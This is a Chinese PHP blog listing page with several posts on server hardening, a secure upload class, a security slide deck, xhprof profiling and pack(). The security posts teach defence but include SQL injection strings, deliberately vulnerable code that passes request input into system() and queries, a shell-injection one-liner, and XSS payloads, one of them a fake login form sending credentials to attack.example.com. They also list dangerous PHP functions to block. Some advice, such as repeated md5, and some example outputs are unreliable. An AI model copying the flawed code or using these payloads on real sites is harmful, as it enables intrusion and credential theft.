首页
关于
Search
1
给你10个市场数据调研报告的免费下载网站!以后竞品数据就从这里找!
183 阅读
2
php接口优化 使用curl_multi_init批量请求
144 阅读
3
《从菜鸟到大师之路 ElasticSearch 篇》
107 阅读
4
2024年备考系统架构设计师
104 阅读
5
PHP 文件I/O
92 阅读
php
thinkphp
laravel
工具
开源
mysql
数据结构
总结
思维逻辑
令人感动的创富故事
读书笔记
前端
vue
js
css
书籍
开源之旅
架构
消息队列
docker
教程
代码片段
redis
服务器
nginx
linux
科普
java
c
ElasticSearch
测试
php进阶
php基础
登录
Search
标签搜索
php函数
php语法
性能优化
安全
错误和异常处理
问题
vue
Composer
Session
缓存
框架
Swoole
api
并发
异步
正则表达式
php-fpm
mysql 索引
开发规范
协程
dafenqi
累计撰写
786
篇文章
累计收到
31
条评论
首页
栏目
php
thinkphp
laravel
工具
开源
mysql
数据结构
总结
思维逻辑
令人感动的创富故事
读书笔记
前端
vue
js
css
书籍
开源之旅
架构
消息队列
docker
教程
代码片段
副业
redis
服务器
nginx
linux
科普
java
c
ElasticSearch
测试
php进阶
php基础
页面
关于
搜索到
560
篇与
的结果
2023-08-07
PHP 安全与性能
PHP 安全与性能Apache mod_php / php-fpm目录权限安全1.1. 用户权限web server 启动用户不能于运行用户为同一个用户web server 运行用户与php程序不能为同一个用户root 1082 0.0 0.1 11484 2236 ? Ss Mar01 0:00 nginx: master process /usr/sbin/nginxwww-data 13650 0.0 0.0 11624 1648 ? S 09:44 0:00 nginx: worker processwww-data 13651 0.0 0.0 11624 1132 ? S 09:44 0:00 nginx: worker processwww-data 13652 0.0 0.0 11624 1132 ? S 09:44 0:00 nginx: worker processwww-data 13653 0.0 0.0 11624 1132 ? S 09:44 0:00 nginx: worker process父进程root 启动 web server, 此时web server 父进程应该是 root,同时父进程监听80端口子进程父进程派生许多子进程,同时使用setuid,setgid将子进程权限切换为非root子进程用户可以通过httpd.conf设置User nobodyGroup nobodynginx.conf$ cat /etc/nginx/nginx.confuser www-data;fastcgi 进程root 13082 0.0 0.1 19880 2584 ? Ss 09:28 0:00 php-fpm: master process (/etc/php5/fpm/php-fpm.conf)www-data 13083 0.0 0.1 20168 3612 ? S 09:28 0:00 php-fpm: pool wwwwww-data 13084 0.0 0.1 20168 2808 ? S 09:28 0:00 php-fpm: pool wwwwww-data 13085 0.0 0.1 20168 2812 ? S 09:28 0:00 php-fpm: pool wwwwww-data 13086 0.0 0.1 20168 2812 ? S 09:28 0:00 php-fpm: pool wwwphp-fpm 于apache类似,都是root父进程,然后派生子进程,由于fastcgi 使用 9000 所有我们可以不使用root启动php-fpm现在我们开始讲解安全配置问题我们目的是避免用户通过漏洞提升权限,或者由于权限配置不当产生漏洞1.1.1. ApacheApache 案例Apache : rootApache 子进程 : nobodyHTDOCS 目录 : /var/www/var/www|--include|--image|--temp|--...很多人会将/var/www用户与组设置为 nobody:nogroup / nobody:nobody, 同时因为images会上传文件需要设置777, 很多书本于教程上面也是这样讲的, 这样配置会有什么问题呢?我们来分析一下:我们假设,一个用户上传一个文件到images目录,会有几种情况:上传一个.php文件,我们可以通过程序禁止上传.php文件我们上传一个.jpg文件,OK 通过了,通过某种手段将他重命名位.php扩展名的文件,然后通过http://www.example.com/images/your.php 运行它,your.php 可以做什么呢? 它可以查看所有文件,修改所有文件,创建其他php文件,去你可include目录下看config.php然后下载数据库。内部开发人员偷偷将一个程序植入到系统中,这个做code review 可以避免如何避免这样问题出现,有一个办法,我们新建一个用户www, webserver 进程是nobody,程序目录/var/www中的代码是www用户,nobody可能读取但不能修改。/var/www/images 目录所有者是nobody可以上传图片chown www /var/www/chown nobody /var/www/imagesfind /var/www/ -type d -exec chmod 555 {} \;find /var/www/ -type f -exec chmod 444 {} \;chmod 755 /var/www/images使所有可能目录允许运行.php文件,http://www.example.com/images/your.php 将被拒绝. include 也是同样处理方式,只允许使用include_once,require_one 包含,不允许http://www.example.com/include/your.php运行Order Deny,Allow Deny from all Order allow,deny Deny from all Order allow,deny Deny from all<Files *.php> Order allow,deny Deny from all </Files>1.1.2. Nginx / lighttpd + fastcgiNginx / lighttpd 案例分析nginx / lighttpd : rootweb server 子进程 : nobodyphp-fpm : rootphp-fpm 子进程 : nobodyHTDOCS 目录 : /var/www/var/www|--include|--image|--temp|--...fastcgi 遇到的问题与上面apache案例中遇到的问题类似,不同是的fastcgi把动态于静态完全分开了,这样更容易管理,我们可以这样入手nginx / lighttpd : rootweb server 子进程 : nobodyphp-fpm : rootphp-fpm 子进程 : wwwchown nobody /var/www/chown www /var/www/imagesfind /var/www/ -type d -exec chmod 555 {} \;find /var/www/ -type f -exec chmod 444 {} \;chmod 755 /var/www/images/var/www所有权限给nobody, images权限给www, 同时保证www用户可以读取/var/www下的程序文件location ~ ^/upload/.*.php${ deny all;}location ~ ^/static/images/.*.php${ deny all;}location ~ /include/.*.php$ {deny all;}location ~ .*.(sqlite|sq3)$ {deny all;}vim /etc/php5/fpm/pool.d/www.confuser = wwwgroup = www/etc/php5/fpm/pool.d/www.confchdir = /改为chdir = /var/wwwchroot可以彻底解决cd跳转问题,单配置比较繁琐chroot = /var/www这样当用户试图通过chdir跳转到/var/www以外的目录是,将被拒绝1.2. web server 版本信息Apache:ServerTokens ProductOnlyServerSignature OffNginx:server_tokens off;1.3. php_flag / php_admin_flag你在php.ini中将display_errors = Off设置为关闭状态,但经常会被程序员使用ini_set("display_errors", "On");开启, 是用php_flag可以在web server端强制设置php.ini参数php_flag register_globals offphp_flag magic_quotes_gpc offphp_admin_value(php_admin_flag) 与 php_value(php_flag) 有何不同?不同的地方是:php_admin_value(php_admin_flag) 命令只能用在apache的httpd.conf文件中, 而php_value(php_flag)则是用在.htacces在.htaccess中停用全局变量php_flag register_globals 0php_flag magic_quotes_gpc 0php_flag magic_quotes_runtime 01.4. 防止URL注入if ($request_uri ~* (.*)(insert|select|delete|update|count|concat|cost|union|drop|table|*|%|master|truncate|declare|'|;|and|or|(|)|exec)(.*)$ ) {return 403; }if ( $query_string ~ ".[;'<>].*" ){return 403;}php.ini2.1. Magic quotes限于5.2。x 版本magic_quotes_gpc = Onmagic_quotes_runtime = On测试程序 STR: <?phpif (get_magic_quotes_gpc()) {$str = $_POST['str']; echo '这里是get_magic_quotes_gpc()转义过后的:' ,$str, '<hr />';} else {$str = addslashes($_POST['str']); echo '现在通过addslashes传递过来的值是:' ,$_POST['str'], '<br>';}function stringFilter($str){if (ini_get('magic_quotes_gpc)') { return $str; } else { return addslashes($str); }}2.2. 危险PHP函数这些函数应该尽量避免使用它们exec, system, ini_alter, readlink, symlink, leak, proc_open, popepassthru, chroot, scandir, chgrp, chown, escapeshellcmd, escapeshellarg, shell_exec, proc_get_status, max_execution_time, opendir,readdir, chdir ,dir, unlink,delete,copy,rename对于后门植入主要是用下面几个方法eval, gzinflate, str_rot13, base64_decode针对目录与文件的函数disable_functions=chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,copy,mkdir,rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown针对 php.ini 操作的函数ini_set,2.2.1. chdir()函数安全演示$ cat chdir.php 运行结果current:/wwwchdir:/Line #0 : root:x:0:0:root:/root:/bin/bashLine #1 : daemon:x:1:1:daemon:/usr/sbin:/bin/shLine #2 : bin:x:2:2:bin:/bin:/bin/shLine #3 : sys:x:3:3:sys:/dev:/bin/shLine #4 : sync:x:4:65534:sync:/bin:/bin/syncLine #5 : games:x:5:60:games:/usr/games:/bin/sh2.3. 隐藏PHP版本信息expose_php Off2.4. session名字可以泄露你的服务器采用php技术session.name = PHPSESSID伪装成Tomcatsession.name = JSESSIONID2.5. 隐藏PHP出错信息display_errors = Off同时开启error_log日志error_log = php_errors.log2.6. open_basedir 防止操作web环境意外文件目录open_basedir = /www/:/tmp/测试脚本<?phpchdir('/etc');printf(file('/etc/fstab'));实际效果Warning: chdir(): open_basedir restriction in effect. File(/etc) is not within the allowed path(s): (/www/:/tmp/) in /www/index.php on line 2Warning: file(): open_basedir restriction in effect. File(/etc/fstab) is not within the allowed path(s): (/www/:/tmp/) in /www/index.php on line 2Warning: file(/etc/fstab): failed to open stream: Operation not permitted in /www/index.php on line 2开发于安全3.1. 彻底解决目录于文件的安全选择一个MVC开发框架,它们的目录结构一般是这样的:/www/www/htdocs/index.php htdocs目录下只有一个index.php文件,他是MVC/HMVC框架入口文件/www/htdocs/static 这里防止静态文件/www/app/ 这里放置php文件然后放行index.php文件,在URL上不允许请求任何其他php文件,并返回404错误3.2. Session / Cookie安全session.save_path 默认session 存储在/tmp, 并且一明文的方式将变量存储在以sess_为前缀的文件中$ cat session.php<?phpsession_start();if(isset($_SESSION['views'])) $_SESSION['views']=$_SESSION['views']+1;else $_SESSION['views']=1;echo "Views=". $_SESSION['views'];?>http://www.example.com/session.php 我们刷新几次再看看sess_文件中的变化$ cat /tmp/sess_d837a05b472390cd6089fc8895234d1aviews|i:3;经过侧记你可以看到session文件中存储的是明文数据,所以不要将敏感数据放到Session中,如果必须这样作。建议你加密存储的数据有一个办法比较好,就是封装一下session.不再采用$_SESSION方式调用Class Encrype{}Class Session extend Encrype {function set($key,$value,$salt){ $value = Encrype($value) $_SESSION[$key] = $value } function get($key){ return $_SESSION[$key] }}Class Cookie extend Encrype {function set($key,$value,$salt){ $value = Encrype($value) $_COOKIE[$key] = $value } function get($key){ return $_COOKIE[$key] }}Cookiecookie 也需要作同样的处理,上面代码仅供参考,未做过运行测试3.3. 注入安全3.3.1. 禁止输出调试信息error_reporting(0);3.3.2. 预防SQL注入攻击SQL 注入<?php$mysql_server_name="172.16.0.4"; $mysql_username="dbuser"; $mysql_password="dbpass"; $mysql_database="dbname"; $conn=mysql_connect($mysql_server_name, $mysql_username, $mysql_password); $strsql=""; if($_GET['id']){ $strsql="select * from `order` where id=".$_GET['id']; }else{ $strsql="select * from `order` limit 100"; } echo $strsql; $result=@mysql_db_query($mysql_database, $strsql, $conn); $row=mysql_fetch_row($result); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i=0; $i<mysql_num_fields($result); $i++) { echo '<td bgcolor="#000F00"><b>'. mysql_field_name($result, $i); echo "</b></td>\n"; } echo "</tr>\n"; mysql_data_seek($result, 0); while ($row=mysql_fetch_row($result)) { echo "<tr>\n"; for ($i=0; $i<mysql_num_fields($result); $i++ ) { echo '<td bgcolor="#00FF00">'; echo "$row[$i]"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; mysql_free_result($result); mysql_close(); mysql_real_escape_string() / mysqli_real_escape_string() 可以转义 SQL 语句中使用的字符串中的特殊字符$username = mysqli_real_escape_string( $GET['username'] );mysql_query( “SELECT * FROM tbl_employee WHERE username = ’”.$username.“‘”);<?php// 转义用户名和密码,以便在 SQL 中使用$user = mysql_real_escape_string($user);$pass = mysql_real_escape_string($pass);$sql = "SELECT * FROM users WHERE user='" . $user . "' AND password='" . $pwd . "'"// 更多代码?>3.3.3. SHELL 命令注入SHELL 命令注入, 原理是PHP中``符号或者system,exec等等函数会执行系统命令。<?phpsystem("iconv -f ".$_GET['from']." -t ".$_GET['from']." ".$_GET['file'])<?php$c=urldecode($_GET['c']);if($c){$c;}示例:http://www.example.com/file.php?c=echo%20helloworld>test.txt!$_GET['c']||{$_GET['c']};执行效率如果是web应用程序,通常我们必须将执行时间控制在30秒以内, 10秒最佳. 否则用户是没有耐心等待你的网站打开.4.1. timeout下面的流程展示了从用户打开浏览器到页面展示出来的整个流程, 每个流程都可能出现 timeoutuser -> dns -> web server -> app server -> cache -> database严格限制运行时间外部引用域名必须写入hosts文件, 防止解析时间过长必须设置严格的超时策略, 方式程序长时间等待不退出, 占用系统资源<?php$ctx = stream_context_create(array( 'http' => array( 'timeout' => 1 //设置一个超时时间,单位为秒 )));file_get_contents("http://example.com/file.ext", false, $ctx);?><?php$ctx = stream_context_create(array( 'http' => array( 'method' => 'GET', 'header' => 'Accept-Encoding: gzip, deflate', 'timeout' => 1 )));$html = file_get_contents("http://www.163.com/", false, $ctx);echo strlen($html);?>4.1.1. mysqlshow variables like '%timeout%'4.2. 浏览器上传文件尺寸控制Nginxclient_max_body_size 8M设置不能过大,因为可以通过你的网站上传功能,持续上传实现攻击。
2023年08月07日
15 阅读
0 评论
0 点赞
2023-08-07
php上传类(安全上传类)
php上传类(安全上传类)<?php //php文件上传类 //author: lenix 2014.10.7<!--more--> header("Content-Type:text/html; charset=utf-8"); date_default_timezone_set("Asia/Shanghai"); class UploadFile { private $imageType=["image/gif","image/jpeg","image/jpg","image/png","image/x-png","image/bmp","image/x-ms-bmp","image/pjpeg"];//图片类型 private $fileType=["application/zip","application/msexcel","application/xml","application/vnd.ms-excel","application/vnd.openxmlformats-officedocument.wordprocessingml.document","application/mspowerpoint","application/vnd.ms-powerpoint","application/pdf","application/x-shockwave-flash","application/x-rar-compressed","application/x-rar","audio/mpeg","audio/x-ms-wma","flv-application/octet-stream","audio/x-ms-wmv","video/mp4","video/x-flv","audio/x-wav","application/msword","video/mpeg"];//文件类型 private $tmpName; private $fileName; private $error; private $fileSize;//上传文件大小 private $maxSize=10000000;//最大允许上传大小 private $upName; private $upDir="uploadfile/";//上传目录 //构造函数 默认为图片上传 function __construct($upType="image") { $this->tmpName = $_FILES["file"]["tmp_name"]; $this->fileName = $_FILES["file"]["name"]; $this->error = $_FILES["file"]["error"]; $this->fileSize = $_FILES["file"]["size"]; $this->upName=date('Y') . date('m') . date('d') . uniqid();//生成随机文件名 //判断文件大小 if ($this->fileSize > $this->maxSize) exit ("文件超过".($this->maxSize / 1024 / 1024)." M大小"); if ($this->error > 0) exit($error);//判断上传错误 if ($upType== "image") { $this->checkImage(); }else{ $this->checkFile(); } $this->uploadFile(); } //检测图片类型 function checkImage() { $ftype=getimagesize($this->tmpName); if (!in_array($ftype['mime'],$this->imageType)) { exit("非法图片类型"); } } //检测文件类型 function checkFile() { $finfo = finfo_open(FILEINFO_MIME_TYPE); $ftype= finfo_file($finfo, $this->tmpName);//根据文件内容来判断文件类型 finfo_close($finfo); if (!in_array($ftype,$this->fileType)) { exit("非法文件类型"); } } //获得文件扩展名 function getExtension($fileext) { return pathinfo($fileext, PATHINFO_EXTENSION); } //上传文件 function uploadFile() { if (!is_uploaded_file($this->tmpName)) { exit("非法上传"); } else { move_uploaded_file($this->tmpName, //"upload/" . $_FILES["file"]["name"]); $this->upDir . $this->upName .'.'. $this->getExtension($this->fileName)); echo "上传为: " . $this->upDir . $this->upName .'.'. $this->getExtension($this->fileName); } } } $up=new UploadFile();//上传图片 //$up=new UploadFile("file");//上传文件 ?>
2023年08月07日
8 阅读
0 评论
0 点赞
2023-08-07
PHP 安全优化
PHP 安全优化总则对安全一定要重视!2PHP程序要点安全->稳定->性能->扩展->维护2014-10-17主要内容本ppt内容讲的是关于php网站的主要安全隐患问题。没有100%的安全,只有更好的安全,尽可能的做到最安全。关于一些不太危险的其它各种安全细节,这里没有涉及,但是本ppt介绍的内容如果做好了,就应该可以达到80-90%以上的安全性。不要忘记著名的等强原则:一个系统的的强度是由它最薄弱的环节决定的(注:相当于木桶原理)。2014-10-17PHP安全要点目录不要用windows,要用linux系统。服务器目录权限上传安全SQL注入XSSCSRFMysql权限PHP危险函数密码安全验证码备份防止撞库攻击保持更新敏感词过滤开启防火墙ARP2014-10-171.不要用windows,要用linux系统。• 不管从安全、及性能上都要考虑用Linux系统。• windows系统相对来说,其病毒数量和对权限的设置都要比linux危险得多。2014-10-172.服务器目录权限• 不能列出目录文件,上传目录不能有运行php权限,最好不允许直接访问模板文件.• 不同的站点文件要互不能访问其它站点文件,不同的站点要用不同的用户名。• 防止跨目录访问(即禁止站点程序有访问站点根目录以外的目录的权限)。2014-10-172.服务器目录权限目录权限设置很重要:可以有效防范黑客上传木马文件 .目录权限(一般目录)find /path -type d -exec chmod 555 {} \; //设置目录权限为555可写目录(用于根目录,上传目录,cache目录,生成html目录,配置文件目录等)find /path -type d -exec chmod 755 {} \; //设置目录权限为755文件权限(一般文件)find /path -type f -exec chmod 444 {} \; //设置文件权限为444可写文件(用于根目录,上传目录,cache目录,生成html目录,配置文件目录等)find /path -type f -exec chmod 644 {} \; //设置文件权限为644设置完成后,再通过命令:chown wwwdata:wwwdata * -R 将目录和文件的所有者改为wwwdata。如有可能:所有可写目录都禁止 php 执行。2014-10-172.服务器目录权限防跨目录访问:1在php.ini中设置 open_basedir 或在文件中 ini_set("open_basedir”,”网站目录”);最好是在apache中进行以下设置2虚拟主机配置样例:ServerAdmin root@uitv.comDocumentRoot /data/wwwroot/wwwServerName www.uitv.comOptions FollowSymLinksAllowOverride Options FileInfoOrder allow,denyAllow from allphp_admin_value open_basedir /data/wwwroot/www/:/var/tmp/DirectoryIndex index.htm index.html index.php如果做以下设置更安全useradd -g www -d /data0/htdocs -s /sbin/nologin www 意思:创建一个www用户根目录在/data0/htdocs 使用shell 是/sbin/nologin(不允许登录)2014-10-172.服务器目录权限防跨目录访问:跨目录(目录穿越)演示:chdir.php解决:http://192.168.8.131/chdir.php?s=12014-10-172.服务器目录权限上传目录禁止执行PHPNginx:location ~ ^/(|upload|data|images|config|static|source)/..(php|php5)${deny all;}Apache:Order allow,denyDeny from all使用nginx + thinkphp记得禁止php和模板文件外部访问权限禁止访问根目录以外的php文件 location ~ ^/.+/..php$ { return 404; }禁止访问模板目录下的html文件 location ~ ^/tpl/default/..html$ { return 404; }2014-10-172.服务器目录权限模板文件保护Apache:Options -Indexes FollowSymLinksAllowOverride AllOrder allow,denyDeny from all2014-10-173.上传安全1.现在几乎所有的开源cms及框架都不是100%安全的。2.不能只对文件扩展名进行判断,而是要对文件(二进制)内容进行判断。3.如果做不好,就可能导致恶意上传木马,窃取源码,数据库,用户信息,删除更改文件甚至完全控制服务器等危险动作。2014-10-173.上传安全php安全上传类源码分析phpcms上传演示php安全上传演示2014-10-174.SQL注入2014-10-174.SQL注入现在很多的开源php系统及框架都不能100%做到防止SQL注入。当然网上的一些教程也绝大部分说的不正确或副作用比较大。SQL注入攻击是一些很常见的攻击,被注入后,可能会恶意删除数据,获取管理员权限,甚至可以提权上传木马及控制服务器,危害是很大的。2014-10-174.SQL注入注入代码示例:SELECT * FROM Users WHERE Username='$username' AND Password='$password'如果$username = 1'or'1'='1$password=1'or'1'='1那么sql语句就变成了SELECT * FROM Users WHERE Username='1' OR '1'='1' AND Password='1'OR '1'='1'通常为通过url访问http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1对上面的SQL语句作简单分析后我们就知道由于该语句永远为真,所以肯定会返回一些数据,在这种情况下实际上并未验证用户名和密码,并且在某些系统中,用户表的第一行记录是管理员,那这样造成的后果则更为严重。2014-10-174.SQL注入防止SQL注入要点1数据库连接代码要设置正确的字符集2对传入的数字值用intval();转换:如intval($_GET['s']);3对所有传入的数据用mysql_real_escape_string();转义4 sql语句所有字段值都要加上单引号,包括数值字段如:$sql = "select * from test where id = '$id'";以上几点一定要组合使用,否则是不起作用的。做好以上几点就可以完全防止SQL注入。2014-10-174.SQL注入另外也可用mysqli或pdo的prepare语句,也能防止sql注入 (这是推荐做法)<?php$mysqli=new mysqli("localhost","root","","testdb");//$stmt=$mysqli->stmt_init();$sql="insert into shops(name,price,num,desc) values(?,?,?,?)";$stmt=$mysqli->prepare($sql);$stmt->bind_param("sdis",$name,$price,$num,$desc);//sdis是四个参数的类型i:intger,d:double,s:string,b:blob$name="Lenix";$price="220";$num="55";$desn="hello world";$stmt->execute();$stmt->close();?>2014-10-174.SQL注入常见字符过滤替换的副作用及误区1过滤关键字 select,union,drop,delete,update,join,and,or等攻击者可用SeLect,或SEselectLECT变形进行注入.2过滤单引号,双引号,有时不但不起作用,还会影响正常输入。3过滤 #,/ /,-- ,这个也同上。2014-10-174.SQL注入MYsql安全连接及查询function connMysql($dbUserName, $dbPassword, $dbDatabase, $dbHost = 'localhost', $dbCharset = 'UTF8'){$link = mysql_connect($dbHost, $dbUserName, $dbPassword) or die(mysql_error());$dbVersion = mysql_get_server_info($link);//设置字符集mysql_set_charset($dbCharset, $link);//mysql_query("SET NAMES gb2312", $link);此方式不推荐;//设置 sql_modeif ($dbVersion > '5.0.1') {mysql_query("SET sql_mode = ''", $link);mysql_query("SET character_set_connection = ".$dbCharset.", character_set_results = ".$dbCharset.", character_set_client =binary", $link);// 防止宽字节注入}mysql_select_db($dbDatabase, $link);return $link;}$link = connMysql('dbuser', 'password', 'test');$s = $_GET['s'];$s = mysql_real_escape_string($s, $link);$sql = "select * from test where id = '$s'";//$sql="select * from test where username='$s'";2014-10-174.SQL注入SQL注入演示sqlzr.php分析2014-10-175.XSS跨站脚本攻击(Cross Site Scripting)为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。假如我们有这样一段PHP的代码:$username = $_GET['username'];echo ' Welcome, ' . $username . '';那么我们可以这样来注入:http://192.168.8.131/xss.php?username=alert('haha'); 用firefox打开测试甚至这样:http://trustedSite.example.com/welcome.php?username=Please Login:<form name=”input”action=”http://attack.example.com/stealPassword.php” method=”post”>Username: <input type=”text” name=”username”/><br/>Password: 这会让网页显示以下内容: Welcome, Please Login: Username: Password: 2014-10-175.XSSXSS的攻击主要是通过一段JS程序得用用户已登录的cookie去模拟用户的操作(甚至偷用户的cookie)。这个方式可以让用户在自己不知情的情况下操作了自己不期望的操作。如果是网站的管理员中招,还有可能导致后台管理权限被盗。XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧? 1⁄4script3⁄4alert(1)1⁄4/script3⁄4 XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用 用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益 于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的 页面间的cookie又是共享的) 于是,如果我在A站点内的某个贴子内注入这么一段代码: 很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。 2014-10-175.XSS XSS演示 获取用户cookie值 http://192.168.8.131/xss.php?username=alert(document.cookie); 经过安全过滤后 http://192.168.8.131/xss.php?username=alert(document.cookie);&s=1 用firefox 2014-10-175.XSS 存储型XSS 攻击代码保存在cookie,session里,查找难度大。 2014-10-175.XSS 防xss: 1严格限制用户的输入。最好不要让用户输入带标签的内容。 2严格过滤用户的输入。如: PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。 3在一些关键功能,完全不能信任cookie,必需要用户输入口 令。如:修改口令,支付,修改电子邮件,查看用户的敏 感信息等等。 4 httponly :防止脚本取得用户cookie setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = true ]]]]]] ) 2014-10-176.CSRF CSRF(Cross-site request forgery跨站请求伪造,也被称为“one click attack”或者 session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。 CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登 录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的 多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的 页面间的cookie又是共享的) 攻击者利用隐蔽的HTTP连接,让目标用户在不注意的情况下单击这个链接,由于 是用户自己点击的,而他又是合法用户拥有合法权限,所以目标用户能够在 网站内执行特定的HTTP链接,从而达到攻击者的目的。 例如:某个购物网站购买商品时,采用 http://www.shop.com/buy.php?item=watch&num=1,item参数确定要购买什么 物品,num参数确定要购买数量,如果攻击者以隐藏的方式发送给目标用户 链接http://www.shop.com/buy.php?item=watch&num=1000 ,那么如果目标用户不小心访问以后,购买的数量就成了1000个 2014-10-176.CSRF 防范CRSF攻击 1是需要检查http的reference header。 2是不要使用GET方法来改变数据, 3是对于要提交的表单,后台动态生成一个随 机的token,这个token是攻击者很难伪造的。 CSRF 和ddos攻击一样不能 完全 防止 ,需要程 序员细心。 2014-10-177.Mysql权限 PHP系统千万不要用root帐号,要新建普 通帐号,给于最少权限,并且每个数据库 分配一个帐号. mysql 禁止远程连接数据库(单机)或限制 来源ip 2014-10-177.Mysql权限 2014-10-178.PHP危险函数 • disable_functions =exec,passthru,shell_exec,system,proc_open, popen,curl_exec,curl_multi_exec,parse_ini_fil e,show_source等。 2014-10-179.密码安全 • • • • • • • 千万不要明文保存用户密码。 密码一定要复杂。 单纯md5()加密,简单密码可用cmd5.com破解,如果不被破解至少需要4重md5()加密。 一但管理员密码被破解可以干任何事情。 更好的是crypt()函数. php 5.5的最新password_hash函数也可提供安全加密,如果用5.5以上,这是推荐方法。 echo password_hash("itv", PASSWORD_DEFAULT)."\n"; 输出:(每次不同) $2y$10$q8FLghKGgLaWM4Oxi6TShuVTn583Q8H0iLGD2ntN3y1aapmFW2L82 $2y$10$sm9aIGc2ljvXyfHsjq5AQOvpzPt0wVVInIHv0HszWuoYEOJ3XJ6XG 2014-10-1710.验证码 • • 验证码(CAPTCHA)是一种区分用 户是计算机还是人的公共全自动程 序。可以防止:恶意破解密码、刷 票、论坛灌水,有效防止某个黑客 对某一个特定注册用户用特定程序 暴力破解方式进行不断的登陆尝试, 还能防止撞库攻击。 在登录,注册,找回密码,支付等 重要环节一定要使用验证码,而且 一定显示要比较复杂,不容易被破 解。 2014-10-1710.验证码 2014-10-1711.备份 • 定期备份(web,数据库,各种配置文件) 万一网站被黑,数据丢失这是最保险的方法。 2014-10-1712 .防止撞库攻击 • 撞库攻击,就是黑客拿别的网站得到的用 户名和密码到我们网站去试,因为许多用 户都是多个网站共用一套用户名和密码, 所以撞库成功的可能性还是很大的。 • 解决: • 限制单IP登录次数,采取登录错误次数限制。 2014-10-1713.保持更新 • php,mysql,apache,nginx,linux... • 新的版本通常会修复一些安全漏洞及bug, 要及时关注软件的升级消息,对于有安全 漏洞的软件要及时升级。 2014-10-1714.敏感词过滤 • 防止用户发表一些敏感词:比如 法*X*功,色*情,赌*博,博*彩。 这些关键词一旦出现在网站,就可能被服 务器运营商关闭,甚至域名注销备案。 解决方法:对用户输入的内容进行过滤, 要收集全敏感词词典。 2014-10-1715.开启防火墙 • 可以检测和防御攻击,只开启需要开放的 端口。 2014-10-1716.ARP ARP 2014-10-1717.其它 1 开启网站访问日志,开启php日志,mysql日 志等,可以有效追踪发现攻击情况。 2 隐藏php版本,apache,nginx版本等 3其它的一些安全问题,需要要平时多细心, 防患于未然。 2014-10-17Thanks! Q&A 43
2023年08月07日
12 阅读
0 评论
0 点赞
2023-08-07
ubuntu下用xhprof测试php程序性能
ubuntu下用xhprof测试php程序性能XHProf 是facebook开源出来的一个php轻量级的性能分析工具,跟Xdebug类似,但性能开销更低,还可以用在生产环境中,也可以由程序开 关来控制是否进行profile。总体来说是个不错的工具,下面介绍下在ubuntu下的安装及使用过程。安装xhprofsudo apt-get install php5-xhprof为了使用图形方式查看调试结果,还必须安装graphviz这个工具,在ubuntu下你可以直接使用apt-get的方式安装,命令为:sudo apt-get install graphviz配置 php.ini在php.ini里加入如下内容:[xhprof]extension=xhprof.so;; directory used by default implementation of the iXHProfRuns; interface (namely, the XHProfRuns_Default class) for storing; XHProf runs.;;xhprof.output_dir=<directory_for_storing_xhprof_runs>xhprof.output_dir=/var/www/html/xhprof将代码加入到要测试的php当中<?pho// cpu:XHPROF_FLAGS_CPU 内存:XHPROF_FLAGS_MEMORY// 如果两个一起:XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORYxhprof_enable(XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY);// 要测试的php代码//把在pecl下载的xhprof源代码复制到网站根目录下$xhprof_data = xhprof_disable();//$XHPROF_ROOT = realpath(dirname(__FILE__) .'xhprof');include_once "./xhprof/xhprof_lib/utils/xhprof_lib.php";include_once "./xhprof/xhprof_lib/utils/xhprof_runs.php";$xhprof_runs = new XHProfRuns_Default();$run_id = $xhprof_runs->save_run($xhprof_data, "eagle");//(eagle为命名空间,你可以随意取)echo '统计';点击页面下面的统计:显示以下点击 View Full Callgraph
2023年08月07日
10 阅读
0 评论
0 点赞
2023-08-07
PHP中pack()函数说明和例子
PHP中pack()函数说明和例子pack()函数是一个字符串打包函数,它可以将数据压缩成二进制格式pack()函数是一个字符串打包函数,它可以将数据压缩成二进制格式。函数原型:string pack ( string $format [, mixed $arg1 [, mixed $... ]] )参数说明:format:标识了压缩后的数据类型。arg1, $...:表示要打包的数据。返回值:返回打包后的二进制数据字符串。例子:将字符串打包成二进制数据$str = "Hello World!";echo bin2hex(pack("A*", $str));// 输出:48656c6c6f20576f726c6421?>将整数打包成二进制数据$num = 12345;echo bin2hex(pack("N", $num));// 输出:00003039?>其中,"N"代表以32位无符号网络字节序的方式打包数据。将多个数据打包成二进制数据$map = array("name" => "Tom", "age" => 20, "sex" => "male");echo bin2hex(pack("A N A", $map['name'], $map['age'], $map['sex']));// 输出:546f6d0014006d616c65?>其中,"A*"代表任意长度的字符串。
2023年08月07日
8 阅读
0 评论
0 点赞
1
...
92
93
94
...
112